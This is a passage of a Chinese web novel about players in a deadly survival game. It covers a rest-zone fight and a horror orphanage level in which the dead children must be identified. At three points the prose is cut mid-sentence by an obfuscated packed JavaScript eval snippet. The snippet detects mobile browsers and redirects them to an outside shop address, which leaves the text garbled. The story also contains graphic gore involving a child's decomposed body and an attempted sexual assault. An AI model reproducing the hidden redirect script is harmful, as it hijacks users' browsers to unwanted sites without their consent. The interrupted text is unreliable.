“关卡结束后,将获得三天休息时间用于调整。各位可使用积分兑换物品。” “祝大家——休息愉快!” 话音落下,系统提示音戛然而止。 下一瞬,空间扭曲。 我们被一同传送进了玩家休息区。 8. 第8章 这一次的休息区,和十年前的并不一样。 那时的休息区,是系统直接分配的—— 一人一套小公寓,基础食物与生活用品一应俱全,像是刻意营造出的“正常生活”,如果要买更好的,才需要花积分。 而现在,系统却换了一套规则。 食物要用积分买。 房屋的使用权,也要用积分换。 丁黎梓和赵美铭的积分不多,根本负担不起单独的房屋,最后只好和我住在一起。 我原本想把屋子布置成何彦明会喜欢的样子—— 哪怕只是摆设,也好。 可最后,我还是作罢了。 积分,不能乱用。 因为我很清楚,在这个地方,积分远比舒适重要得多。 —— 【“晨晨,你要记住,积分能不用就不用。”】 【“关键的时候,积分是可以当复活道具用的。”】 ……我忽然想起了十年前,那个带我通关的师父。 在积分兑换城里,丁黎梓和赵美铭各自买了些他们爱吃的东西——火锅、酱料,还有零零碎碎的调味品。 而我,只买了几块面包。 三天而已。 挺过去就好。 反正到了新的副本,就能吃点好的了—— 我在心里这样告诉自己。 夜里,丁黎梓睡在客厅的沙发上。 我和赵美铭并排躺在床上,屋里只剩下细微的呼吸声。 “晨晨……”赵美铭翻了个身,“你还好吗?” “我没事……” 话出口的瞬间,我才发现自己的声音带着哭腔。 攒够能够复活的积分,有多难,我再清楚不过。 十年前,师父那么聪明,体能也远在我之上,最后却依旧没能救回他的弟弟。 ……那我真的能救回何彦明吗? 这个念头像一根细针,反复扎着我的神经。 “你的男朋友,是我们的恩人。”赵美铭轻声说道,“我会帮你的。” “嗯,谢谢。” 其实我并没有指望她能帮上什么忙。 只要她能好好活下来,对我来说就已经够了。 这个游戏,一上来就专门折磨玩家的心态。我甚至不知道,自己还能撑多久。 可无论如何—— 我一定要救何彦明。 哪怕把命赌进去。 我需要朋友。 我需要帮助。 我能理解为什么何彦明没杀丁黎梓了。 现在的我,需要更多的朋友。 在这个世界里,单靠一个人是活不下去的。想要被帮助,就必须先成为值得被留下的人;想要别人伸手,就要先让他们活下来。 我必须帮助更多的人。 只有这样,等我真正走到绝境时,才会有人愿意拉我一把。 “啊!放开我女朋友——!” 门外忽然传来一阵喊声。 那声音一入耳,我就觉得熟悉。 我下意识翻身下床,连外衣都顾不上整理,赶紧起身去看个究竟。 “晨晨。”赵美铭也被惊醒了,神色一下子紧张起来,“晚上太危险了,我们和你一起去吧。” 她一边说着,一边拍醒还在熟睡的丁黎梓。 “起来了,有事。” 丁黎梓皱着眉坐起身,显然还没完全清醒,我也没管他,开门拿着上关带走的刀朝着嘈杂声跑去。 我侧身一步,反手用刀背砍向那人的手腕。 “啊——!” 那人吃痛,条件反射地松了手,原本被扛在肩上的女人失去支撑,重重摔了下来。 “琳琳!” “没事吧,琳琳?!” 我回头,看向冲过去将女人护进怀里的人。 是谢文岚。 那个在公司里,工位就坐在我旁边,总是安安静静、偶尔加班到很晚的同事。 “文岚?!”我一下愣住了。 “晨晨?!”他也明显没反应过来。 下一秒,我重新看向对面那几个人。 他们个个面相凶狠,被我刚才那一下彻底激怒了,有人活动着被砍到的手腕,眼神阴沉地盯着我。 “这是谁?”我低声问谢文岚,没有回头。 “我女朋友。”他下意识地把人抱得更紧了些,“他们……他们要把她带走。” 我眯起眼,大概猜到是怎么回事了。 “赵姐。你先带他们回咱那。” 我往前一步,站在谢文岚和那群人之间,刀尖微微垂下。 “这里交给我。” “哟,小姑娘还挺泼辣的。”为首的男人嗤笑一声,慢慢悠悠地往前走了半步,“不过你不会真以为,自己一个人就能把我们都杀了吧?” “头儿,我看她也挺水灵的,不如就她好了。” 恶心。 果然是我想的那样。 我没有再废话,脚下前踏,刀锋一转,寒光贴着为首男人的肩侧掠过。他显然没料到我会真的动手,连退两步,脸色瞬间变了。 带着刀,对付这种人,三五下就足够让他们心生忌惮。 另外两个大汉嘴上仍旧不干不净,可脚步却明显迟疑了,谁也不敢再往前一步。 “想解决生理问题就自己花积分去。”我冷冷开口讥讽着,“强迫别人女朋友,简直禽兽不如。” 我扫了他们一眼,嘴角勾起一抹嘲笑。 “哦,不会吧?该不会你们连积分都没了吧?” “也是,看你们一副‘小脑’控制大脑的样子,能通关,大概也只是走了狗屎运。” “你——你别太放肆了!”为首的人色厉内荏地吼道,“我们会记住你的!” 话放得狠,人却退得比谁都快。 几个人骂骂咧咧地后撤,最后还是灰溜溜地消失在拐角。 我这才转过身,目光一扫四周。 那些原本围着看热闹的人,在我目光落到他们身上的瞬间,纷纷移开视线,装作什么都没发生过,各自散去。 强抢妇女,可从头到尾,竟然连一个愿意站出来帮忙的人都没有。 说实话,我不是不能杀了他们。 我很清楚,如果今天不拦下他们,之后还会有别的女人倒霉。 可我更清楚另一件事。 我不能在这种地方、这种时候,随便杀玩家。 刀一落下去,事情就不只是“制止”那么简单了。 我会在所有人眼里,变成一个必须被记住的名字。 被忌惮,被盯上,被拉出来当靶子。 而站在我身后的,赵美铭、谢文岚,都有可能受到威胁。 杀了他们,我得不到积分,得不到奖励,却要承担接下来无数关卡里被人暗算的风险。 太不划算了。 所以我只需要让他们知道一件事就够了—— 我能杀,但我现在不杀。 这比尸体,更能让人记住分寸。 我回到公寓时,谢文岚第一个迎了上来。 “晨晨,真的谢谢你。”他语气急促,带着明显的后怕,“这是我女朋友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976122|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,凌肖琳。” “班晨晨。”我简单报了名字。 凌肖琳显然还没从刚才的惊吓中缓过来,只是朝我点了点头,手指一直攥着谢文岚的衣角。 她长得很好看。 也正因为如此,在休息区这种地方,反而更容易被盯上。 这个游戏的玩法本就残酷。 很多人因为副本受了不少刺激,到了休息区,却要面对漫长而空虚的间歇。 当一个人攒不出足够的积分,去换取他们想要的“娱乐”,恶意就会变得廉价又直接。 更何况,系统根本就不管副本外的行为。 私下报复、强迫、抢夺,并不判违规。 可以说,比起副本,休息区才是更危险的地方。 当作恶不会受到任何惩罚,人心里的恶就会被无限放大。 我转身进屋,给凌肖琳拿了口罩和帽子。 “先戴着吧。”我把东西递给她,“低调一点。” 长得好看不是她的错。 可我们既控制不了别人肮脏的念头,也控制不了这个毫无人性的系统,能做的,只有尽量不让自己成为显眼的目标。 接下来的两天,我抽时间教了赵美铭和凌肖琳几招简单实用的防身术。 不求她们反杀,只求在关键时刻能挣开、能跑。 万一下一关,她们不和我在一起,至少这些动作,能替她们博得生的机会。 至于谢文岚—— 我无意间瞥见他额头上浮现的积分数字:20。 这意味着,他是他们那一关通关玩家里最有头脑的那一个。我需要这样的人。 “叮咚——大家休息得怎么样了~” 系统音刚一响,我们几个人的动作几乎同时僵住。 我下意识翻了个白眼。 来了。 “第二关副本《孤儿院的小孩》将在一分钟后开始。” “难度指数:四颗星!” “请找到孤儿院里的每一个小孩,并将他们安置到对应的床位,即可通关哦~” 系统刻意停顿了一下,语调忽然变得甜腻。 “如果安置错误,将会受到未知的、非常可怕的惩罚呢~” 我冷笑了一声。 “未知”惩罚,系统又要开始折磨人了。 “请各位做好准备,祝大家游戏愉快!” 声音消失后,空气安静得让人不适。 我看向他们:“我的副本是《孤儿院的小孩》。你们呢?” “我跟你一样。”谢文岚立刻开口,明显松了口气。 “我也是。”丁黎梓点头。 我刚要说话,就听见赵美铭的声音有些迟疑。 “我……不一样。” “我的副本是《漆黑囚笼》。” 我心里一沉。 “我也是。”凌肖琳的声音更低。 谢文岚一下慌了:“怎么会这样?为什么会分开?!” “系统不可能每一关都给你匹配一模一样的队友,一般来说,系统会评判每个人的表现,为表现良好的玩家匹配更难的副本。”我解释道,“我们这边是四颗星,难度会更高一点。” “我们是三颗星。”赵美铭连忙补了一句。 我稍微松了口气。 “那还好。”我看着她们,“难度应该不会太离谱。” 时间只剩下不到半分钟。 我赶紧叮嘱:“记住一点——保护好自己。非必要情况,不要帮别人。” 系统倒计时在我们耳边响起。 我握紧了手里的刀。 9. 第9章 再次睁开眼时,天空像是被人用刷子反复涂抹过,呈现出一片压抑的铁灰色。 一座破败的孤儿院静静立在前方,墙皮剥落,窗框歪斜,仿佛被时间遗弃在这里。 “看起来这关是恐怖主题的。”我开口道。 其实我很怕这种阴森森的环境。 鬼屋、废楼、空荡荡却感觉有人一直注视着自己,一直是我的雷区。 只能说我点子太背,偏偏被分到了这种副本。 “你害怕吗?”丁黎梓偏头看我,“你要是怕的话,就跟在我后面吧。” “……” 我面无表情地看了他一眼。 “你这么一说,我突然就不怕了。” 他似乎没听懂我的意思。 我收回视线,迅速扫了一眼四周。 除了我们三个,附近还站着另外三名玩家,彼此保持着微妙的距离,谁也没贸然靠近。 “你们好。”我率先开口,语气平稳,“看来这一关一共有六个玩家。对了,我叫王晨。” 我随口编了个名字。 “他们是谢岚和丁景行。”我顺便也给谢文岚和丁黎梓起了个假名字。 “高山仰止,景行行止”,寓意品德崇高、行为光明。 我给他起这个名字,多少带点我自己的不爽。 穿着白色旗袍的女人打量了我们一眼,也开口自我介绍: “我叫白羽,这两位是梁婉儿和张潜。” 我点了点头,算是打过招呼。 “进去吧。”谢文岚开口,语气明显有些急。 大概是担心他女朋友在另一个副本的安危。 孤儿院的铁门上了锁。我把刀别在腰侧,踩着墙上凸起的砖瓦翻了上去。 丁黎梓和谢文岚蹲下身,让几个女孩踩着他们的肩膀爬上来,我在墙头伸手,把人一个个拉了上来。 “系统说要把孩子安置到对应的床位,可这里连一个孩子都没有。”丁黎梓皱眉。 这地方像是荒废了很多年,铁门锈得发黑,整座孤儿院都弥漫着一股腥臭味。 “如果孩子是活的,”我低声道,“只要问床位就行,根本用不着我们‘安置’。” 话音落下,气氛顿时一沉。 “你是说……”白羽脸色一变,“这些孤儿院的孩子,全都死了?” “你看这地方,像是有活人的样子吗。”我说。 “还是进去看看吧。”白羽拉着张潜和婉儿就要往教学楼走。 “等等。”我拦住她,“这边有公告牌,先看看。” 白羽扫了一眼,不太在意:“不就是院规吗。” “这种地方,我觉得还是先看看院规比较好。”我看向斑驳的公告牌。 【一、本院作息神圣不可侵犯。所有孩子须于晚九时就寝。熄灯后,严禁喧哗、走动、睁眼。】 【二、每个孩子都有其指定床位(编号对应),不得擅自调换。】 【三、本院致力于培养安静、顺从、纯净的孩子。】 【四、院长室乃禁地,非请勿入。】 【五、若听到不明哭泣或嬉笑声,请立即闭眼默数十下,切勿回应。】 这不妥妥的现实版密室逃脱吗。 “你有刀,要不就你打头阵吧,我们躲你后面。”张潜指了指我上关带出副本的武士刀。 “……” 6,真的6,逮着我薅是吧,我踏马偏不。 我在心里冷笑了一声。 合着危险的事就该我来? “你想得挺美。”我把手从刀柄上移开,语气冷淡,“规则里没写‘拿刀的人必须当大冤种’。” 张潜被噎了一下,脸色有点挂不住。 我看向那栋阴沉的教学楼,语气恢复冷静:“先别急着进去。公告牌已经告诉我们重点了——床位对应、熄灯规则、闭眼,还有‘纠正’。” 我扫了她们仨一眼。 “既然是密室逃脱,那就是团队合作找线索解谜游戏,谁要是不团结总想着把别人当靶子使,我也不对谁客气。” “对不起对不起,她还小不懂事。”白羽赶紧替她道歉。 我没理她,拉着谢文岚和丁黎梓进去了。 “叮咚!本次重点考验玩家团队协作,提示大家:安眠的关键,在于被正确地认出。” 系统从不说废话。 “正确地认出”,我猜测应该意味着孩子们的名字。一般来说,院长室肯定有记录小孩的入院信息,那里肯定有名字。 可规则又明确写着:院长室禁止进入。 那看来只能在孩子们留下的什么东西里找名字了。 大楼一共有三栋:教学楼、食堂,还有宿舍楼。 要完成安置,首先得知道一共有多少个孩子,而最直接的办法,就是数清楚床位。 “先去宿舍楼看看吧。”我看向谢文岚和丁黎梓。 “嗯,我也是这么想的。”谢文岚点头,“先确认需要归位的孩子数量。” 我们三人一起走进宿舍楼。 门一关上,黑暗几乎是扑面而来。 伸手不见五指,连脚下的路都模糊不清。 真黑。 什么都看不见。 我心里忍不住叹了口气—— 上一关真不该拿刀的,换个灯笼、火烛之类的照明工具,可能更实用。 “等等我们!”身后传来白羽的声音,“我们也一起。” 丁黎梓回头叮嘱:“小心点,别乱跑。” 张潜明显被吓坏了,整个人发着抖。 走廊里管道滴水的声音“嗒、嗒”响着,她连眼睛都不敢睁。 楼道、开水房、浴室、厕所……都没有任何异常。 宿舍里只有一间房。 我推开门,一股霉味迎面扑来。 数了数床铺,一共八张——也就是说,有八个孩子需要被找到并辨认。 房间里有窗户,我拉开窗帘,光线虽然不多,但终于带来了一丝亮度。 八号床铺靠近门口。 地面上留着一串断断续续的小小灰尘脚印,从床边延伸到门口,反复多次。枕头下压着一颗乳牙。 七号床的床头墙几乎被某个孩子当作画布,画着一幅巨大的天空——没有太阳的天空。 天空下用黑色线条勾勒出孤儿院的轮廓,像牢笼一样。画中有一个小小的黄色窗户,里面站着一个火柴人。 六号床铺异常整洁,几乎没有使用痕迹。但床底的地面上,用指甲反复划出了“快跑”几个字。床头编号“6”被反复摩擦、试图抹去的痕迹更加说明了这里曾有动静。 五号床铺与墙壁的缝隙里塞满了各种小玩意:粉笔头、断掉的橡皮筋、扣子等。床板背面用蜡笔画着一幅抽象的“宝藏图”。 四号床头的栏杆上钉着一段数字: 1 1 5 5 | 6 6 | 5 — | 4 4 3 3 | 2 2 | 1 — | 看起来像乐谱。 我跟着轻声唱了起来:“哆哆嗖嗖啦啦 嗖 — 发发咪咪唻唻哆……” “啊!你怎么突然唱起来了!好吓人啊!!”张潜尖叫。 “别瞎喊。”丁黎梓冷声打断她。 我低头看了看下一段数字: 6 6 | 4 4 | 3 3 | 2 — | 不对啊…… 第三句应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976123|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该是“嗖嗖发发咪咪唻 —”,对应的简谱应是“5 5 | 4 4 | 3 3 | 2 — |”。 小孩写错了,6应该是5。 三号床靠墙的墙壁上,有一片用铅笔勾勒的风景速写,细致入微,却未完成——只有烟囱、远山的轮廓。床板缝隙里塞着几张皱巴巴的糖纸。 二号床的枕芯里藏着一小块柔软的碎花布,洗得略发白,散发着淡淡皂角香,看起来应该是口水垫什么的。碎花布上有个小小的名字缩写:LXH。 太好了……终于找到一个带有明确名字的线索了。 这个一号床……好像没什么特别的。 我看了半天,也没发现任何线索。 “欸,我说你们仨坐在小孩床上是几个意思,休息呢?”我看了一眼那仨人,快无语炸了,走过去把她们薅了起来。 “晨晨,你看这里。”谢文岚招手示意。 他把床单和床垫掀开,床板上刻着一个小小、歪歪扭扭的棋盘格,几颗石子被胶水固定当作棋子。 “不愧是你!”我忍不住称赞他的仔细。 大概记住了这些线索,我们走出了宿舍。 “你有没有觉得,这个宿舍楼一直散发着一股恶臭味?”我问。 “我也一直觉得,”丁黎梓说道,“可能是浴室设施老旧,下水道反味吧?毕竟荒废很久了。” “荒废很久了,那怎么还供水呢?”我边说边拧开一个水龙头,水果然流了出来。 但这水……味道实在刺鼻。 我从浴室找了个盆,接了一半水,“你们闻闻,是不是很臭?” 丁黎梓把头凑过来。 “Σ_(???」∠)呕!!!好恶心……”他干呕起来。 其他人也纷纷皱起了眉头,点头表示认同。 “要不去水箱看看吧。”我提议。 我们出了宿舍楼,终于摆脱了那股恶心味道。 食堂楼顶有一个单独的水塔,估计就是水源所在。 正当我们准备进食堂,刚推开大门,里面也是黑漆漆一片。 “我……我真的不行,我不想进去。”张潜连退了两步,声音带着颤抖。 “你跟着我们走,不会有事的。”我尽量让语气平稳,安抚她。 “不……算了吧,我在外面等你们好了。”她咬了咬唇,最终退到门口。 “你一个人在外面行吗?”白羽关切地问。 “嗯,我找个地方休息一下吧。”张潜低声回应。 我叮嘱她不要到处乱跑,并告诉她,现在还没到晚上九点,应该不会有太大危险。 我们朝食堂楼顶走去。 食堂共有两层: 第一层摆着普通硬座位,显然是孩子们吃饭的地方;第二层全是沙发座,看起来像是孤儿院工作人员和院长的用餐区。 走到楼顶时,我们看到了一个巨大的水箱。 我正打算顺着梯子爬上去,丁黎梓忽然一把拦住我。 “晨晨,等一下,还是让我去吧。” 他似乎已经猜到我心里在想什么。 我看了眼谢文岚,他也点头示意,让我在下面等着就好。 也许他们担心我看到水箱里的东西会留下心理阴影吧。 既然谢文岚也同意,我就在下面等着好了。 “为什么要看水箱啊?”婉儿好奇地问。 “宿舍、食堂、浴室里的水都是从这里来的,”我解释,“如果我们闻到的水有异味,那水箱肯定有问题。” “所以……”白羽皱着眉,看向我。 “只是猜测而已,说不定我想错了,你们别怕。”我拍了拍白羽的肩膀,尽量让语气轻松一些。 10. 第10章 “呃!这水箱盖子也太沉了吧!”丁黎梓使出全身力气,也只把盖子推开了一半。 “我来帮忙!”谢文岚跟着爬上梯子。 我有了预感,那里肯定会有—— “尸体!!!” 丁黎梓的惊呼还是把所有人都吓了一跳。 “我看看!”我正要往上爬。 “等等。”丁黎梓抬手拦住我,“你……要不先做个心理准备。” “……” 其实我完全可以用透视能力直接看清楚,但那是一次性的。 这种时候,还是留到真正要命的关头吧。 谢文岚探头看了一眼,很快就别过脸去,脸色发白。 “反正迟早都得面对。”我冷静下来,“我们要把尸体安置回对应的床位。” 我转身往食堂里走:“我去找点能把尸体捞上来的工具。” “我跟你去。”丁黎梓正准备要下梯子。 “你留在这吧。”白羽却先一步开口,“我和她去好了。” 我愣了一下,有些意外地看向她。 她看了我一眼。 那眼神不像是单纯的担心,更像是有话想单独和我说。 我点了点头。 丁黎梓朝我递来一个眼神,示意我注意安全。 ……用得着你提醒。 我和白羽一起往楼下走去。 食堂里一片漆黑,空荡荡的,明明只服务八个孩子,却搞得这么大。 我心里忍不住想,也许这所孤儿院本来想招很多人,但因为这些孩子都死了,也不再有家长会把孩子送到这里了吧。 白羽在后厨捡起一根拖把杆:“我玩过密室逃脱,也看过恐怖片,但这次不一样……这是真的会死人,对吧?那个‘系统’不是在开玩笑。” “第一次进游戏?”我问。 她点头,咬了咬唇:“所以我想和你做个交易。不,是请求。” “请你带我们通关。带我、梁婉儿,还有张潜,一起活下去。我知道这个请求有点厚脸皮,但……” 她掏出一张卡片,是0积分可兑换的临时契约卡。 “如果你愿意在关键时刻拉我们一把,通关后我可以分你2点积分。”她把卡递过来,眼神里全是孤注一掷的求生欲,“张潜胆子是小还有点任性,但我们不会完全没用的。” 十年前的记忆一闪而过——哭着求救的人,被背叛的队友,还有那些没能拉住的手。 ——“保护好他们,也保护好你自己。” 是师父曾经对我的叮嘱。 我需要积分,因为何彦明还在冰冷的名单上等待一个复活的机会。 但那女孩手中的,不过是新人通关后那点可怜的保命分。 更何况,积分对她而言,是初次涉险的护身符,是可能活下去的基石。 掠夺这样的东西,我和当年把我推入深渊的那些东西,又有什么区别。 “积分自己留着。”我伸手,却没有接卡,只是把它推了回去,“想活下去,记住三件事。” 白羽睁大眼睛,点了点头。 “第一,害怕很正常,但别让恐惧控制你。可以发抖,可以想哭,但手要稳,眼要亮,脑子要转。” “第二,规则是铁律,但文字会迷惑人。系统、院长、线索,都可能只说了一半。永远多想一步。” “第三,在这种副本里,每一具‘尸体’都曾是人。弄清他们为什么死,比盲目逃跑更重要。” 她小心翼翼地问:“所以……你答应了吗?” “我只能说会尽力。” 食堂后厨弥漫着一股超越寻常腐败的甜腻恶臭,像是把烂水果、变质肉类和铁锈混合在一起,再在潮湿中闷酿了数年。 我推开铁门时,那股气味如同实体般涌来,白羽立刻捂住了嘴,干呕了一声。 我拿起放在案板旁边的手电筒,光切开黑暗,照亮悬浮在空气中的灰尘。 灰尘在光柱中缓慢沉降,落在蒙着油污的灶台、干瘪的锅具,以及厨房最深处那个敞着门的、巨大的立式冰柜上。 冰柜的插头垂在地上,没有通电。 柜门虚掩,门缝下渗出深色的、粘稠的液体,在手电光下泛着不祥的暗红与褐黄。 液体已经干涸了一部分,在地面上形成一滩污渍。 “门……是开着的?”白羽的声音发颤,她手里的拖把杆握得更紧了。 “我们真的要……” 白羽的话还没说完,我就已经戴好手套,走到冰柜前。 我用手电照向门缝,隐约看到一层厚厚的、棉絮般的白色霉斑,霉斑上爬着一些细小的、黑色的甲虫,在手电光照射时慌忙钻入霉层深处。 我虽然是做好心理准备的,但是这画面我实在是扛不住…… 我用戴手套的手轻轻拉开虚掩的冰柜门,那股被柜门暂时封闭的毁灭性恶臭如炸弹般爆开。 白羽直接退到墙边,剧烈干呕起来,眼泪都呛了出来。 从冰柜缝隙里,涌出更多粘稠的、红褐色的液体,液体中漂浮着白色的、米粒大小的蛆虫尸体,以及一些无法辨认的软组织碎片。 是一个孩子的头颅。 但已经几乎认不出是头颅。 皮肤大面积脱落,露出下方暗红色的肌肉和黄色的脂肪层。 眼眶是两个黑洞,眼球已经液化消失,只剩下干瘪的视神经残端像水草般飘在腐液中。 鼻腔和口腔里塞满了密集蠕动的活蛆,白色的虫体在骨头的孔洞中钻进钻出,啃食着所剩无几的软组织。 “我们不能再拖了。”我用胳膊捂住口鼻,“腐败进程在继续,每过一小时,空气里的毒素浓度就会更高,我们感染的风险就更大!” 我迅速脱下外套,将尸体包裹起来,尽量减少散发出的气味。 “那边有捕鱼网。”我指向海鲜柜的方向,“你先把网拿上去给他们,我一会儿再去。” 白羽迟疑了一下,看着我:“你……你行吗?” “快去吧。”我催促。 她小心翼翼地绕过尸体,取下捕鱼网,随即朝楼顶跑去。 已经晚上八点了。 虽然发现了两具尸体,可能会吓到张潜,但时间不多,我还是觉得该把她叫上来一起行动。 我跑下楼,见她百无聊赖地坐在跷跷板上。 “张潜,你——”我刚伸手想碰她肩膀。 “啊!你好臭!什么味道啊!”她猛地推开我,满脸嫌恶。 “是尸体。”我压低声音,“我们找到了两具,九点就要熄灯了,你来帮个忙,一起把尸体搬回宿舍。” “我不!”她捏着鼻子连连后退,“太恶心了,我才不要碰那种东西!” 我被她这反应气得一时说不出话。 这时,丁黎梓他们已经把水箱里的尸体抬了下来。 “走吧,没时间了。”我催促道,“还得确认身份。” 白羽也上前拉她:“张潜,别一个人待着——” “不行,我受不了这种味道。”张潜捏着鼻子甩开手,“我等快九点再上去,直接睡觉就行。” 无论怎么劝,她都不肯动。 “算了。”丁黎梓看了眼时间,“她说九点前会上来,先别管了。” 到了宿舍,我们赶紧开门开窗通风,把尸体放在地上。 “这两个小孩都已经面目全非了,这怎么认才能认出来啊。”白羽挠头。 我掰开两具尸体的嘴。 “这个是八号床的孩子。”我指着从冰柜里发现的那具尸体,“你们看,他少了一颗牙,缺的位置正好和枕头下那颗乳牙对得上。” 丁黎梓和谢文岚对视一眼,确认无误后,把尸体抬到了八号床上。 ——什么都没发生。 “……没反应?”白羽有点慌,“难道我们认错了?” “要是认错了,系统早就惩罚了。”我皱眉,“问题不在床位,估计在名字。” “名字?”白羽看了眼时间,“已经八点一刻了,上哪找名字啊?” “教学楼。”我立刻说道,“食堂和宿舍都翻过了,孩子的名字,只可能在教学楼。” “太危险了,马上九点了。”丁黎梓下意识反对,“明天再去不行吗?” “不行。”我摇头,“尸体已经发现了,就必须今晚归位。你打算守着尸体睡觉?” “那要不把尸体放门外算了。”梁婉儿说。 “我觉得不行,这算违反规定吧,毕竟寝室外不能有人没上床。” “开窗就好了吧?”白羽犹豫道。 “我不这么觉得。”我否了她的提议,“院规说九点就寝,熄灯后禁止走动、睁眼。开门开窗这种行为,本身也很可能违规。” 我抬头看了眼时间。 “要么现在解决,要么赌规则不会杀人。” “我不赌。” “那这样,”我迅速做出决定,“谢岚跟我去教学楼,丁景行你留下照顾她们。” 时间不多了。 我和谢文岚立刻往教学楼跑去。 夜色下的教学楼像一整块黑影压下来,连风声都显得空荡。好在手电还有电,光束扫过走廊,照出一排排空桌空椅。 “才八个孩子,”我低声给自己打气,“名字应该不难找。” 但实际上,我们也只发现了讲台上的几张画作和字帖,有的并没有写名字。 档案……我想到了这两个字。 “要不要直接去院长室?”我开口,“如果能一步到位,说不定能拿到所有孩子的信息。” 谢文岚立刻皱眉:“院规不是写了,院长室禁止入内?” “我没忘。但我是第一关得分最高的玩家,选了一个能力——透视,虽然只能用一次。”我忽然想到了什么,“你也是第一关评分最高的吧?你选的是什么?” “虽然也是一次性能力,但闭上眼睛后,能像睁眼一样‘看’十分钟。” 我忍不住笑了一下,这算什么能力(?_? )…… 等下,那他完全可以在9点熄灯闭眼后“看”到寝室里的任何变动。 讲真他选的这个能力确实很适配这关副本。 “应该就是院长室了。” 我盯着那扇虚掩的木门,又扫了一眼插在锁孔里的钥匙。 简直像是在故意引人进去。 我可不上当。 我站在门外,发动了透视。 视野穿过木门——一整面书架,全是所谓“成功人士”才会看的书,书桌上堆着厚厚一摞文件,最下面,是一叠泛黄的档案。 找到了。 档案里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976124|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的照片全被黑笔狠狠划掉,五官被笔墨挡住看不到,但名字、年龄、生日都还在。 “谢总祥、王琴琴、李馨涵、刘慧、陈洁、吴佩林、余自怡……” 我低声念着,忽然顿住。 “还有一个,名字被涂了,照片也没贴。” “先记住。”谢文岚压低声音,“时间不多了。” 我点头,把名字在脑子里迅速过了一遍。 走廊尽头的时钟,指针已经逼近九点。 “不到二十分钟了。”谢文岚拉了我一把,“走。” 我们转身冲进黑暗里。 到了寝室,只剩最后十分钟。 画作和字帖里,留下名字的只有三个人——王琴琴、刘慧、陈洁。 我目光扫过一幅彩笔画:画里是两个火柴人,一个缺了一颗牙、笑得很开心的小孩,而他身后站着一个表情严厉的大人,伸着手,像是在抓什么。 时间不多,我没深想。画作背面写着名字——刘慧。 “八号床,是刘慧。” 我把画放到床上。 床上的尸体骤然亮起微光,缺少的肢体一点点出现,最终变成孩子生前的模样。 他闭着眼,抬手指向寝室门口。 “走……走……” 原本灰暗的脚印亮了起来,在地面上反复延伸,却始终在门前留出一小段空白,又折返回来。 “是让我们离开?”白羽低声问。 我打开门,却发现脚印只停留在室内。 ——不是离开。 我顺着那段被刻意绕开的空位,用武士刀撬开木地板,果然发现了一本日记。 前面的内容零碎而压抑,直到这一页—— “2025年6月18日。 陈洁不爱干净,衣服总是脏的,臭臭的。 他解释说自己有皮肤病,不能常洗澡,院长说他顶嘴,当众扇了他一巴掌。 陈洁不服气,还手了。 院长把他带走了。 那天晚上,他再也没有回来。” 我抬头看向那具被泡发的尸体——衣服被水胀得紧绷,衣领却明显被撕裂过。 “是陈洁。”我说。 “可不知道他是哪张床。”丁黎梓皱眉。 “排除法。”谢文岚迅速接话,“六号床太干净,不像一个被说‘不爱整洁’的孩子。” 我点头:“而且他不是四号床。” “为什么?”白羽问。 我翻开字帖,指给她看:“陈洁写的‘5’是尖角的,四号床简谱里的‘5’是圆头的,不是同一个人。” 我又补了一句:“还有,他是左撇子。” “你怎么知道?” “左撇子写字,手会把墨迹往右蹭。”我指着纸面残留的痕迹,“这几页,只有他是这样。” “不是六号,不是四号,八号也排除了,只剩下1、2、3、5、7。”白羽明显慌了,声音发紧,“只剩三分钟了!” 来不及再慢慢推了。 “赌一把。”我一咬牙,“床头涂鸦和画里的都是火柴人,并且都有被蹭过的痕迹,我押七号床。” 我和谢文岚一起,把那具泡发的尸体拖到七号床上。 “七号床,陈洁。” 下一秒,尸体亮起微光,浮肿的皮肤一点点回缩,恢复成生前的模样。 他慢慢坐起身,只说了一句话: “我们都是这里的‘罪犯’,被监狱长每天监视着一举一动。” 话音落下,陈洁的身体随光消散。 来不及细想这句话的含义。 “快!上床,闭眼!”我低声催促。 “可……张潜还没回来……”梁婉儿声音发抖。 ——少了一个人。 我猛地看向窗外,操场空无一人。 “我要去找她!”白羽掀开被子。 “不行!”我直接把她按回床上。 20点59分58秒。 我翻身躺好。 “闭眼!”谢文岚压低声音吼道。 21:00整。 虽然本来就没有灯,但能清楚地听见—— “啪嗒。” 像是电闸被拉下的声音。 接着,是急促的脚步声。 “哈……哈……赶上了。” 是张潜。 她摸索着爬上一张床,躺下了。 她超了时间,但好像并没有发生什么。 我们全都闭着眼,一动不动。 忽然—— “咚、咚、咚。” 沉重的脚步声,从走廊传来,越来越近。 “吱呀——” 门被推开了。 有人进了寝室。 不能睁眼……不能出声…… “啊——!!!” 